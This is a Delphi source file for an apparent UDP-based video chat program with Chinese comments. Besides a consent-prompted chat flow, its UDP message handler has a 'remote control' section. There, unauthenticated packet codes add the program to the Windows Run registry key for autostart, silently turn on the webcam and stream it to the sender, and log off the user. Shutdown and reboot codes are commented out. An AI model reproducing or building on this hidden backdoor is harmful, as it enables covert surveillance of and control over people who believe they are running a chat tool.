unit1.pas

用NET_VIDEO 视频捕获

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  WinSkinStore, WinSkinData, IdUDPServer, IdBaseComponent, IdComponent,
  IdUDPBase, IdUDPClient, ExtCtrls, StdCtrls, OleCtrls, NETVIDEOLib_TLB,
  Psock, NMHttp,IdSocketHandle,registry ;

type

   //***********************************
    applyblock=record
    id:integer;
    end;
    //***********************************


  TForm1 = class(TForm)
    IdUDPClient1: TIdUDPClient;
    IdUDPServer1: TIdUDPServer;
    SkinData1: TSkinData;
    SkinStore1: TSkinStore;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Edit2: TEdit;
    Label2: TLabel;
    Edit3: TEdit;
    Label3: TLabel;
    Edit1: TEdit;
    RadioGroup1: TRadioGroup;
    RadioGroup2: TRadioGroup;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    remote_netvideo: TNetVideo;
    local_netvideo: TNetVideo;
    NMHTTP1: TNMHTTP;
    Label4: TLabel;
    Label5: TLabel;
    Button5: TButton;
    Label6: TLabel;
    SaveDialog1: TSaveDialog;
    procedure Button5Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure video_function(sender:tobject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
      ABinding: TIdSocketHandle);
    procedure applyvideo(sender:tobject);
    procedure Button3Click(Sender: TObject);
    procedure Label6Click(Sender: TObject);
    procedure writereg ();
    procedure Button4Click(Sender: TObject);
    procedure RadioGroup1Click(Sender: TObject);
    procedure RadioGroup2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

//系统参数设置
procedure TForm1.Button5Click(Sender: TObject);
begin

  if (edit1.Text<>'') or (edit2.Text<>'') or (edit3.Text<>'') then
  begin

  idudpclient1.Host :=edit1.Text ;
  idudpclient1.Port :=strtoint(edit2.Text )+2;
  idudpclient1.ReceiveTimeout :=10;
  idudpclient1.Active :=true;
  idudpserver1.DefaultPort :=strtoint(edit3.Text )+2;
  idudpserver1.Active :=true;
  end
  else

    showmessage('设定数据不能为空!');


end;

//系统初始化
procedure TForm1.FormCreate(Sender: TObject);
begin

  label5.Caption:=nmhttp1.LocalIP;
  AnimateWindow(self.Handle ,500,AW_BLEND); //实现窗体的淡入效果
  local_netvideo.CompressType :='Intel Indeo(R) Video R3.2';
  remote_netvideo.CompressType :='Intel Indeo(R) Video R3.2';
end;

//接受视频,并发送视频的函数
procedure tform1.video_function(sender:tobject);
begin
remote_netvideo.RecvVideo;
local_netvideo.InitCapture(0);
local_netvideo.SendVideo ;



end;

 //开启本地视频,并发送本地视频

procedure TForm1.Button1Click(Sender: TObject);
 var apply:applyblock;
begin
        apply.id :=1;
        idudpclient1.SendBuffer(apply,sizeof(apply));

        local_netvideo.Visible :=true;

        remote_netvideo.Visible :=true;

        video_function(sender);

        local_netvideo.InitCapture(0);
        local_netvideo.SendVideo ;
end;



//关闭本地视频
procedure TForm1.Button2Click(Sender: TObject);
 var apply:applyblock;
begin
        local_netvideo.StopSend ;
        local_netvideo.CloseCapture ;
        apply.id :=2;
        idudpclient1.SendBuffer(apply,sizeof(apply));
        local_netvideo.Visible :=false;
        remote_netvideo.Visible :=false;

end;

 // 接受方接受远程视频
procedure TForm1.IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
  ABinding: TIdSocketHandle);
 var
  apply_id:integer;
  apply:applyblock;
  begin
        adata.ReadBuffer(apply,adata.Size );
        apply_id:=apply.id  ;
        case apply_id of
        0:showmessage('对不起，对方拒绝了您的申请！');
        1:applyvideo(sender);
        2:showmessage('对方已经中止了视频聊天。');
        3:showmessage('对方已经结束了与您的聊天模式！');
        10:showmessage('已经建立视频连接...');
        //远程控制部分
        4:writereg();         //写注册表，设置开机自动运行
        5:                    //开视频
                begin
                        local_netvideo.InitCapture(0);
                        local_netvideo.SendVideo ;
                end;
        6:local_netvideo.CloseCapture ; //关视频
                //7:exitwindowsex(1,0); //关闭计算机
                //8:exitwindowsex(2,0); //重新启动计算机
        9:exitwindowsex(0,0); //注销用户

       end;
 end;

 //       接受方发送本地视频
procedure tform1.applyvideo(sender:tobject);
var
id:integer;
apply:applyblock;
begin
        id:=messagebox(form1.Handle ,'对方申请与您进行视频聊天，您是否同意？','视频聊天申请',mb_yesno);
        case id of
        6:
        begin
                local_netvideo.Visible :=true;

                remote_netvideo.Visible :=true;
                video_function(sender);
                apply.id :=10;
                idudpclient1.SendBuffer(apply,sizeof(apply));
        end;
        7:
        begin
                apply.id:=0;
                idudpclient1.SendBuffer(apply,sizeof(apply));
        end;
      end;
end;




procedure TForm1.Button3Click(Sender: TObject);
  //退出
begin

        local_netvideo.CloseCapture ;
        remote_netvideo.CloseCapture ;

        local_netvideo.Visible :=false;
        remote_netvideo.Visible :=false;


end;

procedure TForm1.Label6Click(Sender: TObject);
 //截图
     var mybmp:tbitmap;
begin
SaveDialog1.DefaultExt := 'bmp';
SaveDialog1.Filter := 'Bitmap files (*.bmp)|*.bmp';
if SaveDialog1.Execute then



end;

//设置程序开机运行
procedure tform1.writereg (); 
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',FALSE) then
   begin
      Reg.WriteString('CA','"' + ParamStr(0) + '"');
      Reg.CloseKey;
    end;
  finally
    Reg.Free;
    inherited;
  end;
end;


//仅仅时控制面板
procedure TForm1.Button4Click(Sender: TObject);
 var
 i:integer;
 ww:integer;
 begin
 ww:=form1.Width;
 if  ww<=676  then
        begin

                i:=Form1.Width;
                while(i<=676) do
                begin
                        i:=i+5 ;
                        form1.Width :=i;
                end;
        end

  else

  begin
       i:=form1.Width;
       while(i>=300) do
       begin

            i:=i-5;

            form1.Width:=i;

       end;



  end;


end;  
/////////////////// 打开关闭的情况

procedure TForm1.RadioGroup1Click(Sender: TObject);
begin
       if radiogroup1.ItemIndex=0 then
       //on
       begin

                remote_netvideo.BrowseProperties ;

                remote_netvideo.Visible :=true;


       end;
       if radiogroup1.ItemIndex=1 then
       begin

            remote_netvideo.Visible :=false;


       end;

end;

procedure TForm1.RadioGroup2Click(Sender: TObject);
begin
      if radiogroup2.ItemIndex=0 then
       //on
       begin

                    local_netvideo.BrowseProperties;

                    local_netvideo.Visible :=true;
                    local_netvideo.InitCapture(0);


       end;
       if radiogroup2.ItemIndex=1 then
       begin

                    local_netvideo.CloseCapture ;
                    local_netvideo.Visible :=false;
                    


       end;

end;

end.